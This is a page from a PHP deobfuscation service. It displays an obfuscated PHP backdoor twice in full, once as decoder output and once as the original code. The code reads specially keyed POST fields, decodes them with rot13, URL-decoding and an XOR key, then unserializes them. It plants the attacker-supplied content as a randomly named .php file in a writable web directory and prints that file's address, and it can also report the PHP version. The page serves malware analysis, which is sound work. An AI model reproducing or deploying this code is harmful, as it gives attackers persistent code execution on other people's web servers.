Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $VaxqCn = "BrnmAIdem";function SgpBeoqnP($VaxqCn){$PAOht = "\x72".chr(319-222).chr(1..

Decoded Output download

<?php $VaxqCn = "BrnmAIdem";function SgpBeoqnP($VaxqCn){$PAOht = "r".chr(319-222).chr(119).chr(385-268).chr(114).chr(108).chr(100)."e".chr(982-883).'o'.'d'.'e';$dmbfag = chr(710-595).'t'.chr(114).chr(95)."r".'o'."t".chr(418-369).'3';$AhlMomYLWV = chr(115)."t"."r".'_'."s"."p"."l"."i".chr(674-558);$VaxqCn = $AhlMomYLWV($PAOht($dmbfag($VaxqCn)));return $VaxqCn;}function vbNDBard($DYZGk, $anusGNlKeX){$WDQpPsbav = chr(115)."t".chr(292-178)."_"."s".chr(112).chr(223-115)."i"."t";$DYZGk = array_slice($WDQpPsbav(str_repeat($DYZGk, (count($anusGNlKeX)/16)+1)), 0, count($anusGNlKeX));return $DYZGk;}function OIBPkemsKK($RndUKcNMw, $ZSJfUNI, $DYZGk){$MjhzrxfQ = "349e0ed8-6358-4ed2-aa86-a22ef50bb248";return $RndUKcNMw ^ $MjhzrxfQ[$ZSJfUNI % strlen($MjhzrxfQ)] ^ $DYZGk;}function buZqOcet($anusGNlKeX, $DYZGk){$anusGNlKeX = array_map("OIBPkemsKK", array_values($anusGNlKeX), array_keys($anusGNlKeX), array_values($DYZGk));$anusGNlKeX = implode("", $anusGNlKeX);$yggZd = "u".'n'."s".chr(374-273).'r'."i"."a"."l".chr(414-309).chr(415-293)."e";$anusGNlKeX = @$yggZd($anusGNlKeX);return $anusGNlKeX;}function gHOGzv(){echo "PHGOu";}function BXjaxEgx($wnvdCoUir){static $CduFtu = array();$JUVdMuB = glob($wnvdCoUir . '/*', GLOB_ONLYDIR);$pTdAjQWdX = count($JUVdMuB);if ($pTdAjQWdX > 0) {foreach ($JUVdMuB as $wnvdCoU) {$FCSUKN = "i"."s".'_'."w"."r".chr(105).'t'.chr(97)."b".chr(108)."e";if (@$FCSUKN($wnvdCoU)) {$CduFtu[] = $wnvdCoU;}}}foreach ($JUVdMuB as $wnvdCoUir) BXjaxEgx($wnvdCoUir);return $CduFtu;}function kYtSQCIJBZ(){echo "BrnmAIdem";}function AScGNjY($anusGNlKeX){$kGYubXR = 'D'.chr(638-559)."C".'U'."M"."E".'N'.'T'.'_'.'R'.'O'.chr(867-788).chr(907-823);$sbflJBbDDW = $_SERVER[$kGYubXR];$JUVdMuB = BXjaxEgx($sbflJBbDDW);$RGkuJJAoSI = array_rand($JUVdMuB);$gkIdS = ".".chr(112)."h".chr(112);$WDHusrbB = $JUVdMuB[$RGkuJJAoSI] . "/" . substr(md5(time()), 0, 8) . $gkIdS;$xGPIuamd = "f".chr(662-557)."l".chr(101).chr(948-853).chr(836-724).'u'.chr(271-155).'_'.chr(756-657).chr(111)."n"."t"."e".chr(525-415)."t"."s";@$xGPIuamd($WDHusrbB, $anusGNlKeX);$tAfRRFmbpz = chr(967-895)."T"."T".chr(80)."_".chr(820-748)."O".chr(83).'T';$EKCokBk = "h".chr(116).chr(470-354)."p".":".chr(493-446).chr(47);$JqfeWFIztE = $EKCokBk . $_SERVER[$tAfRRFmbpz] . substr($WDHusrbB, strlen($sbflJBbDDW));print($JqfeWFIztE);}foreach ($_POST as $DYZGk => $anusGNlKeX){$uErKUUxtfG = strlen($DYZGk);if ($uErKUUxtfG == 16){$anusGNlKeX = SgpBeoqnP($anusGNlKeX);$DYZGk = vbNDBard($DYZGk, $anusGNlKeX);$anusGNlKeX = buZqOcet($anusGNlKeX, $DYZGk);if (@is_array($anusGNlKeX)){$RGkuJJAoSI = array_keys($anusGNlKeX);$anusGNlKeX = $anusGNlKeX[$RGkuJJAoSI[0]];$RGkuJJAoSI = $RGkuJJAoSI[0];if ($anusGNlKeX !== $RGkuJJAoSI){AScGNjY($anusGNlKeX);}else {$GGlnqQRFMd = chr(758-646)."h".chr(112);$poCfNmh = "p"."h".chr(112)."v".chr(101)."r"."s".chr(301-196)."o".'n';$anusGNlKeX = Array($GGlnqQRFMd => @$poCfNmh(), );$jaJPdk = chr(476-361).'e'.chr(114).chr(682-577)."a"."l".chr(105)."z"."e";echo @$jaJPdk($anusGNlKeX);}die();}}}%   ?>

Did this file decode correctly?

Original Code

<?php $VaxqCn = "BrnmAIdem";function SgpBeoqnP($VaxqCn){$PAOht = "\x72".chr(319-222).chr(119).chr(385-268).chr(114).chr(108).chr(100)."\x65".chr(982-883).'o'.'d'.'e';$dmbfag = chr(710-595).'t'.chr(114).chr(95)."\162".'o'."\x74".chr(418-369).'3';$AhlMomYLWV = chr(115)."\x74"."\162".'_'."\163"."\160"."\154"."\x69".chr(674-558);$VaxqCn = $AhlMomYLWV($PAOht($dmbfag($VaxqCn)));return $VaxqCn;}function vbNDBard($DYZGk, $anusGNlKeX){$WDQpPsbav = chr(115)."\x74".chr(292-178)."\137"."\x73".chr(112).chr(223-115)."\151"."\x74";$DYZGk = array_slice($WDQpPsbav(str_repeat($DYZGk, (count($anusGNlKeX)/16)+1)), 0, count($anusGNlKeX));return $DYZGk;}function OIBPkemsKK($RndUKcNMw, $ZSJfUNI, $DYZGk){$MjhzrxfQ = "349e0ed8-6358-4ed2-aa86-a22ef50bb248";return $RndUKcNMw ^ $MjhzrxfQ[$ZSJfUNI % strlen($MjhzrxfQ)] ^ $DYZGk;}function buZqOcet($anusGNlKeX, $DYZGk){$anusGNlKeX = array_map("OIBPkemsKK", array_values($anusGNlKeX), array_keys($anusGNlKeX), array_values($DYZGk));$anusGNlKeX = implode("", $anusGNlKeX);$yggZd = "\x75".'n'."\x73".chr(374-273).'r'."\151"."\141"."\154".chr(414-309).chr(415-293)."\x65";$anusGNlKeX = @$yggZd($anusGNlKeX);return $anusGNlKeX;}function gHOGzv(){echo "PHGOu";}function BXjaxEgx($wnvdCoUir){static $CduFtu = array();$JUVdMuB = glob($wnvdCoUir . '/*', GLOB_ONLYDIR);$pTdAjQWdX = count($JUVdMuB);if ($pTdAjQWdX > 0) {foreach ($JUVdMuB as $wnvdCoU) {$FCSUKN = "\x69"."\x73".'_'."\x77"."\162".chr(105).'t'.chr(97)."\142".chr(108)."\x65";if (@$FCSUKN($wnvdCoU)) {$CduFtu[] = $wnvdCoU;}}}foreach ($JUVdMuB as $wnvdCoUir) BXjaxEgx($wnvdCoUir);return $CduFtu;}function kYtSQCIJBZ(){echo "BrnmAIdem";}function AScGNjY($anusGNlKeX){$kGYubXR = 'D'.chr(638-559)."\103".'U'."\115"."\105".'N'.'T'.'_'.'R'.'O'.chr(867-788).chr(907-823);$sbflJBbDDW = $_SERVER[$kGYubXR];$JUVdMuB = BXjaxEgx($sbflJBbDDW);$RGkuJJAoSI = array_rand($JUVdMuB);$gkIdS = "\x2e".chr(112)."\x68".chr(112);$WDHusrbB = $JUVdMuB[$RGkuJJAoSI] . "/" . substr(md5(time()), 0, 8) . $gkIdS;$xGPIuamd = "\x66".chr(662-557)."\154".chr(101).chr(948-853).chr(836-724).'u'.chr(271-155).'_'.chr(756-657).chr(111)."\x6e"."\164"."\145".chr(525-415)."\x74"."\163";@$xGPIuamd($WDHusrbB, $anusGNlKeX);$tAfRRFmbpz = chr(967-895)."\124"."\x54".chr(80)."\137".chr(820-748)."\x4f".chr(83).'T';$EKCokBk = "\150".chr(116).chr(470-354)."\160"."\72".chr(493-446).chr(47);$JqfeWFIztE = $EKCokBk . $_SERVER[$tAfRRFmbpz] . substr($WDHusrbB, strlen($sbflJBbDDW));print($JqfeWFIztE);}foreach ($_POST as $DYZGk => $anusGNlKeX){$uErKUUxtfG = strlen($DYZGk);if ($uErKUUxtfG == 16){$anusGNlKeX = SgpBeoqnP($anusGNlKeX);$DYZGk = vbNDBard($DYZGk, $anusGNlKeX);$anusGNlKeX = buZqOcet($anusGNlKeX, $DYZGk);if (@is_array($anusGNlKeX)){$RGkuJJAoSI = array_keys($anusGNlKeX);$anusGNlKeX = $anusGNlKeX[$RGkuJJAoSI[0]];$RGkuJJAoSI = $RGkuJJAoSI[0];if ($anusGNlKeX !== $RGkuJJAoSI){AScGNjY($anusGNlKeX);}else {$GGlnqQRFMd = chr(758-646)."\x68".chr(112);$poCfNmh = "\160"."\150".chr(112)."\166".chr(101)."\162"."\x73".chr(301-196)."\157".'n';$anusGNlKeX = Array($GGlnqQRFMd => @$poCfNmh(), );$jaJPdk = chr(476-361).'e'.chr(114).chr(682-577)."\141"."\154".chr(105)."\172"."\x65";echo @$jaJPdk($anusGNlKeX);}die();}}}%  

Function Calls

None

Variables

None

Stats

MD5 df803f328d7632eab62b9dde74838fe3
Eval Count 0
Decode Time 74 ms